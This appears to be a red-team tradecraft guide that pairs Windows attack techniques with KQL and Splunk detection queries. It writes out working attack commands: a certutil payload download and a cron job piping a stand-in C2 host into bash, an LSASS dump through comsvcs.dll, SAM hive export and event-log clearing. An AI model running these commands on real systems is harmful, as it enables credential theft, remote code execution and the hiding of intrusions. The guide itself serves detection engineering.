Skip to content

Red Team Tradecraft Guide

Overview

This guide is a dual-perspective tradecraft reference — every offensive technique is immediately paired with its defensive detection. The philosophy is simple: you cannot defend what you do not understand. Red teams exist to prove that theoretical risks are practical realities, and blue teams use that proof to build detections that actually work.

This is not a tool tutorial. This is a technique-level reference that maps adversary tradecraft to telemetry sources, detection logic, and MITRE ATT&CK taxonomy. Every code sample uses 100% synthetic data and is designed for educational purple team exercises — never for weaponization.

How to Use This Guide

  • Red teamers: Use the technique descriptions to understand the detection surface you create. Build your tradecraft around minimizing these indicators.
  • Blue teamers: Use the detection queries as starting points. Every query needs tuning to your environment's baseline.
  • Purple teams: Walk through each section together. Red executes, blue detects, both document gaps. Reference the Purple Team Exercise Library for structured exercises.

Prerequisites: Familiarity with Chapter 17: Red Team Operations, Chapter 41: Red Team Methodology, and Chapter 4: Detection Engineering.

Related resources:


Living Off the Land (LOTL)

Living off the land is the practice of using legitimate system tools — already present on every Windows endpoint — to accomplish adversary objectives. Because these binaries are signed by Microsoft and used daily by administrators, their execution blends into normal activity. The challenge for defenders is distinguishing malicious use from administrative use.

ATT&CK Mapping: T1059 (Command and Scripting Interpreter), T1218 (System Binary Proxy Execution), T1047 (Windows Management Instrumentation)

PowerShell Abuse

PowerShell is the most versatile LOTL tool. Adversaries use it for reconnaissance, payload delivery, lateral movement, and data exfiltration — often without ever dropping a binary to disk.

Common abuse patterns:

Technique Description ATT&CK
Encoded commands Base64-encoded command lines to obscure intent T1059.001
Download cradles IEX (New-Object Net.WebClient).DownloadString() patterns T1059.001
AMSI bypass concepts Techniques to disable the Antimalware Scan Interface before payload execution T1562.001
Constrained Language Mode bypass Escaping PowerShell's restricted execution mode T1059.001
PowerShell without powershell.exe Using System.Management.Automation DLL directly T1059.001

Educational Context

AMSI bypass techniques are documented here so defenders understand what to monitor. The concept involves modifying the in-memory AMSI scanning buffer to prevent script inspection. Defenders should monitor for amsiInitFailed strings and suspicious System.Management.Automation loads outside of powershell.exe.

Synthetic example — encoded command execution:

# Adversary encodes a reconnaissance command
# Original: Get-Process | Where-Object {$_.CPU -gt 100}
powershell.exe -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBDAFAAVQAgAC0AZwB0ACAAMQAwADAAfQA=

Detection — PowerShell abuse:

// Detect encoded PowerShell command execution
DeviceProcessEvents
| where FileName =~ "powershell.exe" or FileName =~ "pwsh.exe"
| where ProcessCommandLine has_any (
    "-EncodedCommand", "-enc", "-e ",
    "-WindowStyle Hidden", "-w hidden",
    "FromBase64String", "IEX", "Invoke-Expression",
    "DownloadString", "DownloadFile",
    "Net.WebClient", "Net.Sockets",
    "Invoke-WebRequest", "iwr",
    "Start-BitsTransfer"
)
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
(CommandLine="*-EncodedCommand*" OR CommandLine="*-enc *"
 OR CommandLine="*FromBase64String*" OR CommandLine="*IEX*"
 OR CommandLine="*DownloadString*" OR CommandLine="*Net.WebClient*")
| table _time, Computer, User, CommandLine, ParentImage
| sort -_time

Key Sysmon Event IDs:

EventID Description Relevance
1 Process creation Captures command line arguments
7 Image loaded Detects System.Management.Automation.dll in unusual processes
8 CreateRemoteThread Detects injection into PowerShell processes

WMI/CIM Lateral Movement

Windows Management Instrumentation enables remote process execution, persistence via event subscriptions, and reconnaissance — all through a legitimate management protocol.

Synthetic example — WMI remote process creation:

# Adversary uses WMI to execute a command on a remote host
# All IPs and hostnames are synthetic (RFC 5737 / example.com)
Invoke-WmiMethod -ComputerName dc01.corp.example.com `
    -Class Win32_Process -Name Create `
    -ArgumentList "cmd.exe /c whoami > C:\Windows\Temp\output.txt" `
    -Credential (Get-Credential)
# Credential prompt: testuser / REDACTED

Detection — WMI lateral movement:

// Detect WMI-based remote process creation
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("wmiprvse.exe", "scrcons.exe")
| where FileName !in~ ("WmiPrvSE.exe", "mofcomp.exe")
| project Timestamp, DeviceName, AccountName, FileName,
    ProcessCommandLine, InitiatingProcessCommandLine
| sort by Timestamp desc
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(ParentImage="*\\WmiPrvSE.exe" OR ParentImage="*\\scrcons.exe")
NOT (Image="*\\WmiPrvSE.exe" OR Image="*\\mofcomp.exe")
| table _time, Computer, User, Image, CommandLine, ParentImage
| sort -_time

ATT&CK: T1047 (Windows Management Instrumentation)

LOLBins (Living Off the Land Binaries)

LOLBins are legitimate Windows binaries that can be abused for downloading, executing, or proxying malicious payloads. The LOLBAS Project catalogs hundreds of these.

LOLBin Abuse Case ATT&CK Detection Priority
certutil.exe Download files, encode/decode payloads T1218, T1140 High
mshta.exe Execute HTA files containing scripts T1218.005 High
rundll32.exe Execute DLL exports, proxy execution T1218.011 High
regsvr32.exe Execute COM scriptlets (Squiblydoo) T1218.010 High
msiexec.exe Install remote MSI packages T1218.007 Medium
bitsadmin.exe Download files via BITS T1197 Medium
cmstp.exe Bypass UAC, execute INF-based scripts T1218.003 Medium
wmic.exe Execute XSL stylesheets remotely T1220 Medium

Synthetic example — certutil download:

REM Adversary uses certutil to download a payload from a synthetic C2 server
certutil.exe -urlcache -split -f "https://c2.example.com/payload.txt" C:\Windows\Temp\payload.txt
certutil.exe -decode C:\Windows\Temp\payload.txt C:\Windows\Temp\payload.exe

Detection — LOLBin abuse (comprehensive):

// Detect LOLBin abuse across multiple binaries
let LOLBins = dynamic([
    "certutil.exe", "mshta.exe", "rundll32.exe",
    "regsvr32.exe", "msiexec.exe", "bitsadmin.exe",
    "cmstp.exe", "wmic.exe"
]);
DeviceProcessEvents
| where FileName in~ (LOLBins)
| where ProcessCommandLine has_any (
    "urlcache", "-decode", "-encode",       // certutil
    "javascript:", "vbscript:", ".hta",      // mshta
    "http://", "https://", "\\\\",           // remote resources
    "/i:http", "scrobj.dll",                 // regsvr32 squiblydoo
    "/q /i", "msiexec /q",                  // silent msiexec
    "transfer", "/download",                 // bitsadmin
    "/s /n /u", "/ni",                       // cmstp
    "format:\"", "os get"                    // wmic XSL
)
| project Timestamp, DeviceName, AccountName, FileName,
    ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\certutil.exe" OR Image="*\\mshta.exe" OR Image="*\\rundll32.exe"
 OR Image="*\\regsvr32.exe" OR Image="*\\msiexec.exe" OR Image="*\\bitsadmin.exe"
 OR Image="*\\cmstp.exe" OR Image="*\\wmic.exe")
(CommandLine="*urlcache*" OR CommandLine="*-decode*" OR CommandLine="*javascript:*"
 OR CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*scrobj.dll*"
 OR CommandLine="*/q /i*" OR CommandLine="*transfer*" OR CommandLine="*format:*")
| table _time, Computer, User, Image, CommandLine, ParentImage
| sort -_time

Process Injection Techniques

Process injection allows adversaries to execute code within the address space of another (often legitimate) process. This achieves defense evasion (inheriting the target process's trust level) and privilege escalation (injecting into elevated processes).

ATT&CK Mapping: T1055 (Process Injection) and sub-techniques

Why This Matters

Process injection is the single most common defense evasion technique observed in the wild. Every major threat actor group — from APT28 to FIN7 to Lazarus — uses some form of injection. If your EDR cannot detect injection, you have a critical blind spot.

Classic DLL Injection

The most straightforward injection technique: allocate memory in a remote process, write a DLL path into it, and create a remote thread pointing to LoadLibrary.

Conceptual flow (T1055.001):

1. OpenProcess()        → Get handle to target process (e.g., explorer.exe)
2. VirtualAllocEx()     → Allocate memory in remote process
3. WriteProcessMemory() → Write DLL path string to allocated memory
4. CreateRemoteThread() → Execute LoadLibrary with DLL path as argument

Educational Only

The above is a conceptual API call chain. No working injection code is provided. Understanding the API sequence is critical for building detection logic around these Windows API calls.

Process Hollowing

Process hollowing (T1055.012) creates a legitimate process in a suspended state, unmaps its original code, and replaces it with malicious code before resuming execution. The process appears legitimate in task manager and process listings.

Conceptual flow:

1. CreateProcess(SUSPENDED)  → Create svchost.exe (or other trusted process) suspended
2. NtUnmapViewOfSection()    → Hollow out the legitimate code
3. VirtualAllocEx()          → Allocate new memory in the hollowed process
4. WriteProcessMemory()      → Write malicious PE into the process
5. SetThreadContext()        → Update entry point to malicious code
6. ResumeThread()            → Execute the malicious code under trusted process name

APC Injection

Asynchronous Procedure Call injection (T1055.004) queues a function to execute when a thread enters an alertable state. This avoids CreateRemoteThread, which many EDRs monitor closely.

Conceptual flow:

1. OpenProcess()         → Target a process with alertable threads
2. VirtualAllocEx()      → Allocate memory for payload
3. WriteProcessMemory()  → Write payload shellcode
4. QueueUserAPC()        → Queue APC to each thread in target process
5. (Wait)                → Payload executes when thread enters alertable wait

Thread Hijacking

Thread hijacking (T1055.003) suspends an existing thread, modifies its instruction pointer to point to injected code, and resumes it. No new threads are created, making it harder to detect via thread creation monitoring.

Conceptual flow:

1. OpenThread()          → Get handle to target thread
2. SuspendThread()       → Pause thread execution
3. VirtualAllocEx()      → Allocate memory for payload
4. WriteProcessMemory()  → Write shellcode to allocated memory
5. GetThreadContext()    → Save current thread context
6. SetThreadContext()    → Redirect RIP/EIP to payload
7. ResumeThread()        → Thread executes payload

Detection — Process Injection (All Variants)

The detection strategy for injection relies on monitoring the API call chain (via ETW), cross-process behavior (Sysmon Events 8 and 10), and memory anomalies (unbacked executable regions).

Key telemetry sources:

Source Event What It Captures
Sysmon Event 8 CreateRemoteThread Remote thread creation (classic DLL injection)
Sysmon Event 10 ProcessAccess Cross-process handle requests with suspicious access masks
Sysmon Event 7 ImageLoaded DLL loads — look for unsigned DLLs in unusual processes
ETW: Microsoft-Windows-Threat-Intelligence Multiple Kernel-level injection monitoring (requires PPL)
Memory forensics N/A Unbacked executable memory regions (malfind in Volatility)
// Detect cross-process injection via CreateRemoteThread (Sysmon Event 8)
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName !in~ (
    "csrss.exe", "lsass.exe", "services.exe", "svchost.exe"
)
| where FileName !in~ (
    "csrss.exe", "lsass.exe", "services.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
    InitiatingProcessId, FileName, ProcessId, AccountName
| sort by Timestamp desc

// Detect suspicious process access patterns (handle requests)
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where AdditionalFields has "0x1F0FFF"  // PROCESS_ALL_ACCESS
| where InitiatingProcessFileName !in~ (
    "csrss.exe", "lsass.exe", "MsMpEng.exe", "svchost.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
    FileName, AccountName, AdditionalFields
| sort by Timestamp desc
// Sysmon Event 8 — CreateRemoteThread
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=8
NOT SourceImage IN ("*\\csrss.exe", "*\\lsass.exe", "*\\services.exe", "*\\svchost.exe")
NOT TargetImage IN ("*\\csrss.exe", "*\\lsass.exe", "*\\services.exe")
| table _time, Computer, SourceImage, SourceProcessId, TargetImage, TargetProcessId, StartFunction
| sort -_time

// Sysmon Event 10 — Suspicious process access
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10
GrantedAccess="0x1F0FFF"
NOT SourceImage IN ("*\\csrss.exe", "*\\lsass.exe", "*\\MsMpEng.exe")
| table _time, Computer, SourceImage, TargetImage, GrantedAccess, CallTrace
| sort -_time

Process hollowing-specific detection:

// Detect process hollowing — process created suspended then immediately resumed
DeviceProcessEvents
| where ProcessCreationFlags has "SUSPENDED"
| join kind=inner (
    DeviceEvents
    | where ActionType == "SetThreadContext"
    | project SetContextTime = Timestamp, ProcessId
) on ProcessId
| where SetContextTime between (Timestamp .. Timestamp + 5s)
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
    AccountName, SetContextTime
// Detect processes created in suspended state with thread context modification
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
| eval suspiciousParent=if(
    match(ParentImage, "(?i)(cmd|powershell|wscript|cscript|mshta)\.exe"),
    1, 0)
| where suspiciousParent=1
| join type=inner ProcessId [
    search index=windows EventCode=10
    GrantedAccess IN ("0x1F0FFF", "0x001F0FFF", "0x0800")
]
| table _time, Computer, Image, ParentImage, CommandLine, GrantedAccess

Credential Access & Theft

Credential access is the pivot point that transforms initial access into full domain compromise. Adversaries target credentials stored in memory, on disk, in network protocols, and in authentication services.

ATT&CK Mapping: T1003 (OS Credential Dumping), T1558 (Steal or Forge Kerberos Tickets), T1557 (Adversary-in-the-Middle)

LSASS Memory Dumping

The Local Security Authority Subsystem Service (lsass.exe) stores plaintext passwords, NTLM hashes, and Kerberos tickets for authenticated users. Dumping LSASS memory is the fastest path to credential theft on a Windows domain.

Common methods (conceptual):

Method Tool/Technique Detection Difficulty
Task Manager dump Right-click → Create dump file Low
procdump.exe Sysinternals tool, signed by Microsoft Medium
comsvcs.dll MiniDump rundll32 comsvcs.dll, MiniDump LOLBin technique Medium
Direct memory read Custom tooling reading LSASS address space High
SSP injection Loading a malicious Security Support Provider High

Synthetic Example Only

The following demonstrates the LOLBin technique that defenders must detect. No actual credential extraction is shown.

REM LOLBin LSASS dump using comsvcs.dll (educational — detect this pattern)
REM Adversary first finds lsass.exe PID
tasklist /FI "IMAGENAME eq lsass.exe"
REM Then uses rundll32 to dump the process (requires SeDebugPrivilege)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Windows\Temp\dump.bin full

Detection — LSASS access:

// Detect LSASS access with suspicious access masks
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ (
    "lsass.exe", "csrss.exe", "MsMpEng.exe",
    "vmtoolsd.exe", "svchost.exe", "taskmgr.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
    InitiatingProcessCommandLine, AccountName, AdditionalFields
| sort by Timestamp desc

// Detect comsvcs.dll MiniDump LOLBin
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has_all ("comsvcs", "MiniDump")
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine, InitiatingProcessFileName
// Sysmon Event 10 — LSASS access monitoring
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10
TargetImage="*\\lsass.exe"
GrantedAccess IN ("0x1010", "0x1038", "0x1F0FFF", "0x1F1FFF", "0x143A")
NOT SourceImage IN ("*\\lsass.exe", "*\\csrss.exe", "*\\MsMpEng.exe", "*\\svchost.exe")
| table _time, Computer, SourceImage, GrantedAccess, CallTrace
| sort -_time

// Detect comsvcs.dll MiniDump
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\rundll32.exe" CommandLine="*comsvcs*MiniDump*"
| table _time, Computer, User, CommandLine, ParentImage

Kerberoasting & AS-REP Roasting

Kerberoasting (T1558.003): Any authenticated domain user can request Kerberos service tickets (TGS) for accounts with Service Principal Names (SPNs). These tickets are encrypted with the service account's NTLM hash. Weak passwords can be cracked offline.

AS-REP Roasting (T1558.004): Targets accounts with Kerberos pre-authentication disabled. The attacker requests an AS-REP message that is encrypted with the user's hash — crackable offline without any authentication.

Key Windows Event IDs:

Event ID Log Source Description Detection Use
4768 Security TGT requested (AS-REQ) AS-REP roasting (encryption type 0x17 = RC4)
4769 Security TGS requested (TGS-REQ) Kerberoasting (encryption type 0x17, anomalous volume)
4771 Security Kerberos pre-authentication failed Brute force / AS-REP roasting recon
// Detect Kerberoasting — high volume TGS requests with RC4 encryption
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"  // RC4 = weak, targeted
| where ServiceName !endswith "$"       // Exclude machine accounts
| where ServiceName !in ("krbtgt", "kadmin")
| summarize RequestCount = count(), DistinctServices = dcount(ServiceName),
    ServiceList = make_set(ServiceName, 20)
    by TargetUserName, IpAddress, bin(TimeGenerated, 5m)
| where RequestCount > 5 or DistinctServices > 3
| sort by RequestCount desc

// Detect AS-REP Roasting — TGT requests without pre-auth
SecurityEvent
| where EventID == 4768
| where TicketEncryptionType == "0x17"
| where Status == "0x0"
| summarize RequestCount = count(),
    TargetAccounts = make_set(TargetUserName, 20)
    by IpAddress, bin(TimeGenerated, 10m)
| where RequestCount > 3
// Kerberoasting detection
index=windows sourcetype=WinEventLog:Security EventCode=4769
Ticket_Encryption_Type=0x17
NOT Service_Name="*$" NOT Service_Name IN ("krbtgt", "kadmin")
| stats count as RequestCount, dc(Service_Name) as DistinctSPNs,
    values(Service_Name) as Services by Account_Name, Client_Address
| where RequestCount > 5 OR DistinctSPNs > 3
| sort -RequestCount

// AS-REP Roasting detection
index=windows sourcetype=WinEventLog:Security EventCode=4768
Ticket_Encryption_Type=0x17 Status=0x0
| stats count as RequestCount, values(Account_Name) as Targets
    by Client_Address
| where RequestCount > 3

NTLM Relay Concepts

NTLM relay (T1557.001) captures NTLM authentication attempts and replays them to a different service. The attacker positions themselves between a client and server, forwarding the authentication to access resources as the victim.

Attack chain (conceptual):

1. Attacker poisons LLMNR/NBT-NS → victim sends NTLM auth to attacker
2. Attacker relays the NTLM auth to a target server (e.g., SMB, LDAP, HTTP)
3. Target server grants access believing the victim authenticated
4. Attacker gains access to target server as victim

Detection — NTLM relay indicators:

// Detect NTLM authentication from unexpected sources
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LogonType in (3, 10)  // Network and RemoteInteractive
| where IpAddress != ""
| summarize LoginCount = count(), DistinctTargets = dcount(Computer),
    Targets = make_set(Computer, 10)
    by IpAddress, TargetUserName, bin(TimeGenerated, 15m)
| where DistinctTargets > 3  // Same source authenticating to many targets
| sort by DistinctTargets desc
// NTLM relay — same source authenticating to multiple targets rapidly
index=windows sourcetype=WinEventLog:Security EventCode=4624
Authentication_Package=NTLM Logon_Type IN (3, 10)
| stats count as LoginCount, dc(host) as DistinctTargets,
    values(host) as Targets
    by Source_Network_Address, Account_Name
| where DistinctTargets > 3
| sort -DistinctTargets

SAM Database Extraction

The Security Account Manager (SAM) database stores local account password hashes. Adversaries target the SAM file, SYSTEM hive (for the decryption key), and SECURITY hive.

Common extraction methods:

  • Registry save: reg save HKLM\SAM sam.bak (T1003.002)
  • Volume Shadow Copy: access SAM from VSS snapshots
  • ntdsutil.exe: dump Active Directory database (T1003.003)
// Detect SAM/SYSTEM/SECURITY registry hive extraction
DeviceProcessEvents
| where ProcessCommandLine has_any (
    "reg save", "reg.exe save"
)
| where ProcessCommandLine has_any (
    "HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY",
    "hklm\\sam", "hklm\\system", "hklm\\security"
)
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc

// Detect ntdsutil abuse for AD database dump
DeviceProcessEvents
| where FileName =~ "ntdsutil.exe"
| where ProcessCommandLine has_any (
    "ac i ntds", "ifm", "create full"
)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
// SAM/SYSTEM hive dump via reg.exe
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\reg.exe" CommandLine="*save*"
(CommandLine="*HKLM\\SAM*" OR CommandLine="*HKLM\\SYSTEM*" OR CommandLine="*HKLM\\SECURITY*")
| table _time, Computer, User, CommandLine, ParentImage

// ntdsutil AD database dump
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\ntdsutil.exe"
(CommandLine="*ac i ntds*" OR CommandLine="*ifm*" OR CommandLine="*create full*")
| table _time, Computer, User, CommandLine, ParentImage

Honeytoken Strategy

Deploy honeytoken accounts — fake privileged accounts with SPNs set but never used legitimately. Any Kerberos ticket request for these accounts is an immediate high-fidelity alert. See Chapter 38: Advanced Threat Hunting for honeytoken deployment strategies.


Persistence Mechanisms

Persistence ensures an adversary retains access across reboots, credential rotations, and partial remediation. The diversity of persistence techniques means defenders must monitor many locations simultaneously.

ATT&CK Mapping: T1547 (Boot or Logon Autostart), T1053 (Scheduled Task/Job), T1546 (Event Triggered Execution)

Registry Run Keys

The most common persistence mechanism. Adversaries add entries to registry keys that execute programs during user logon or system startup.

Common persistence keys:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

ATT&CK: T1547.001

// Detect registry run key modifications
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has_any (
    @"\CurrentVersion\Run",
    @"\CurrentVersion\RunOnce",
    @"\Policies\Explorer\Run",
    @"\Winlogon\Shell",
    @"\Winlogon\Userinit"
)
| where InitiatingProcessFileName !in~ (
    "explorer.exe", "msiexec.exe", "setup.exe"
)
| project Timestamp, DeviceName, AccountName,
    RegistryKey, RegistryValueName, RegistryValueData,
    InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13
(TargetObject="*\\CurrentVersion\\Run\\*"
 OR TargetObject="*\\CurrentVersion\\RunOnce\\*"
 OR TargetObject="*\\Policies\\Explorer\\Run\\*"
 OR TargetObject="*\\Winlogon\\Shell*"
 OR TargetObject="*\\Winlogon\\Userinit*")
NOT Image IN ("*\\explorer.exe", "*\\msiexec.exe")
| table _time, Computer, Image, TargetObject, Details
| sort -_time

Scheduled Tasks & Cron Jobs

Windows Scheduled Tasks (T1053.005):

REM Adversary creates a scheduled task for persistence (synthetic example)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onlogon /ru SYSTEM

Linux Cron Jobs (T1053.003):

# Adversary adds a cron job for persistence (synthetic example)
(crontab -l 2>/dev/null; echo "*/5 * * * * curl -s https://c2.example.com/beacon | bash") | crontab -
// Detect suspicious scheduled task creation
DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("/sc onlogon", "/sc onstart", "/sc onidle",
    "/ru SYSTEM", "/ru system", "Temp", "AppData")
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc

// Windows Event 4698 — Task created
SecurityEvent
| where EventID == 4698
| extend TaskContent = tostring(EventData)
| where TaskContent has_any ("cmd.exe", "powershell", "Temp",
    "AppData", "http://", "https://")
| project TimeGenerated, Computer, SubjectUserName, TaskContent
// Scheduled task creation via schtasks.exe
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\schtasks.exe" CommandLine="*/create*"
(CommandLine="*/sc onlogon*" OR CommandLine="*/sc onstart*"
 OR CommandLine="*/ru SYSTEM*" OR CommandLine="*Temp*" OR CommandLine="*AppData*")
| table _time, Computer, User, CommandLine, ParentImage

// Windows Security Event 4698 — Task registered
index=windows sourcetype=WinEventLog:Security EventCode=4698
| table _time, Computer, Account_Name, Task_Name, Task_Content

WMI Event Subscriptions

WMI event subscriptions (T1546.003) provide fileless persistence. An event filter triggers a consumer when a condition is met — surviving reboots without any files on disk.

Conceptual components:

EventFilter     → "When does it trigger?"  (e.g., every 60 seconds, at logon)
EventConsumer   → "What does it do?"       (e.g., execute a script)
FilterToConsumer → Binding that links filter to consumer
// Detect WMI event subscription creation (Sysmon Event 19/20/21)
DeviceEvents
| where ActionType in (
    "WmiEventFilterCreated",
    "WmiEventConsumerCreated",
    "WmiEventConsumerBound"
)
| project Timestamp, DeviceName, AccountName,
    ActionType, AdditionalFields
| sort by Timestamp desc
// Sysmon Events 19, 20, 21 — WMI event subscription
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational
(EventCode=19 OR EventCode=20 OR EventCode=21)
| table _time, Computer, EventCode, Operation, User, Name, Query, Destination
| sort -_time

DLL Search Order Hijacking

DLL search order hijacking (T1574.001) places a malicious DLL in a directory that Windows searches before the legitimate DLL location. When a vulnerable application loads, it loads the attacker's DLL instead.

Windows DLL search order:

1. Directory of the application
2. System directory (C:\Windows\System32)
3. 16-bit system directory (C:\Windows\System)
4. Windows directory (C:\Windows)
5. Current working directory
6. PATH environment variable directories
// Detect DLLs loaded from unusual locations (potential hijacking)
DeviceImageLoadEvents
| where FolderPath !startswith "C:\\Windows\\System32"
    and FolderPath !startswith "C:\\Windows\\SysWOW64"
    and FolderPath !startswith "C:\\Program Files"
| where FileName endswith ".dll"
| where not(InitiatingProcessFileName in~ ("code.exe", "chrome.exe", "firefox.exe"))
| summarize LoadCount = count(), Processes = make_set(InitiatingProcessFileName, 5)
    by FileName, FolderPath
| where LoadCount < 5  // Rare loads are suspicious
| sort by LoadCount asc
// Unusual DLL load locations (Sysmon Event 7)
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=7
NOT ImageLoaded="C:\\Windows\\System32\\*"
NOT ImageLoaded="C:\\Windows\\SysWOW64\\*"
NOT ImageLoaded="C:\\Program Files*"
Signed=false
| stats count as LoadCount, values(Image) as LoadedBy by ImageLoaded
| where LoadCount < 5
| sort LoadCount

COM Object Hijacking

Component Object Model hijacking (T1546.015) modifies COM registry entries to point to attacker-controlled code. When a legitimate application instantiates the hijacked COM object, the adversary's payload executes.

// Detect COM object hijacking — CLSID registry modifications
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has @"\Software\Classes\CLSID\"
| where RegistryKey has "InprocServer32" or RegistryKey has "LocalServer32"
| where RegistryValueData !startswith "C:\\Windows\\"
    and RegistryValueData !startswith "C:\\Program Files"
| project Timestamp, DeviceName, AccountName,
    RegistryKey, RegistryValueData, InitiatingProcessFileName
| sort by Timestamp desc
// COM hijacking — InprocServer32/LocalServer32 modification
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13
TargetObject="*\\Classes\\CLSID\\*"
(TargetObject="*InprocServer32*" OR TargetObject="*LocalServer32*")
NOT Details="C:\\Windows\\*" NOT Details="C:\\Program Files*"
| table _time, Computer, Image, TargetObject, Details
| sort -_time

Defense Evasion

Defense evasion techniques allow adversaries to avoid detection by security tools. These techniques target logs, timestamps, security products, and signature-based defenses.

ATT&CK Mapping: T1070 (Indicator Removal), T1562 (Impair Defenses), T1036 (Masquerading)

Timestomping

Timestomping (T1070.006) modifies file timestamps (created, modified, accessed) to blend malicious files into legitimate system directories. A freshly dropped payload with a timestamp from 2019 is less likely to be noticed by analysts reviewing recent file modifications.

// Detect timestomping — file creation time before PE compilation time
// Or files in system directories with recent MFT entry but old timestamps
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath startswith "C:\\Windows\\"
| where Timestamp > ago(7d)
| extend FileAge = datetime_diff('day', Timestamp, parse_datetime(tostring(AdditionalFields.CreationTime)))
| where FileAge > 365  // File claims to be older than 1 year but just appeared
| project Timestamp, DeviceName, FileName, FolderPath, FileAge, AccountName
// Sysmon Event 2 — File creation time changed
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=2
TargetFilename="C:\\Windows\\*"
| eval time_diff=abs(strptime(PreviousCreationUtcTime, "%Y-%m-%d %H:%M:%S")
    - strptime(CreationUtcTime, "%Y-%m-%d %H:%M:%S"))
| where time_diff > 86400  // More than 1 day difference
| table _time, Computer, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime

Log Tampering & Clearing

Adversaries clear Windows Event Logs (T1070.001) or selectively delete entries to remove evidence of their activities. This is often one of the last actions before exfiltration.

Common methods:

REM Clear Security log (requires admin)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

REM PowerShell equivalent
Clear-EventLog -LogName Security, System, Application
// Detect event log clearing
SecurityEvent
| where EventID in (1102, 104)  // 1102 = Security log cleared, 104 = System log cleared
| project TimeGenerated, Computer, SubjectUserName,
    SubjectDomainName, EventID
| sort by TimeGenerated desc

// Detect wevtutil log clearing commands
DeviceProcessEvents
| where FileName in~ ("wevtutil.exe", "powershell.exe")
| where ProcessCommandLine has_any (
    "cl Security", "cl System", "cl Application",
    "Clear-EventLog", "Remove-EventLog"
)
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine, InitiatingProcessFileName
// Event log cleared — Windows Security Event 1102
index=windows sourcetype=WinEventLog:Security EventCode=1102
| table _time, Computer, Account_Name, Message
| sort -_time

// wevtutil log clearing
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\wevtutil.exe" CommandLine="*cl *")
OR (Image="*\\powershell.exe" CommandLine="*Clear-EventLog*")
| table _time, Computer, User, CommandLine, ParentImage

Log Gap Analysis

Even if an adversary clears logs, the absence of logs is detectable. Monitor for gaps in expected log flow. If a server that normally generates 10,000 events/hour suddenly has zero events for 30 minutes, that gap itself is an indicator.

AMSI and ETW Patching Concepts

Advanced adversaries patch the Antimalware Scan Interface (T1562.001) and Event Tracing for Windows in memory to blind security tools. Understanding these concepts is critical for detection engineering.

What defenders should monitor:

Indicator Source Description
amsiInitFailed string in memory EDR memory scanning Indicates AMSI was disabled
Modification of amsi.dll in process memory ETW / kernel callbacks Runtime AMSI patching
EtwEventWrite patches ETW / kernel callbacks ETW tracing disabled in process
Unusual ntdll.dll loads Sysmon Event 7 Unhooking / fresh NTDLL mapping
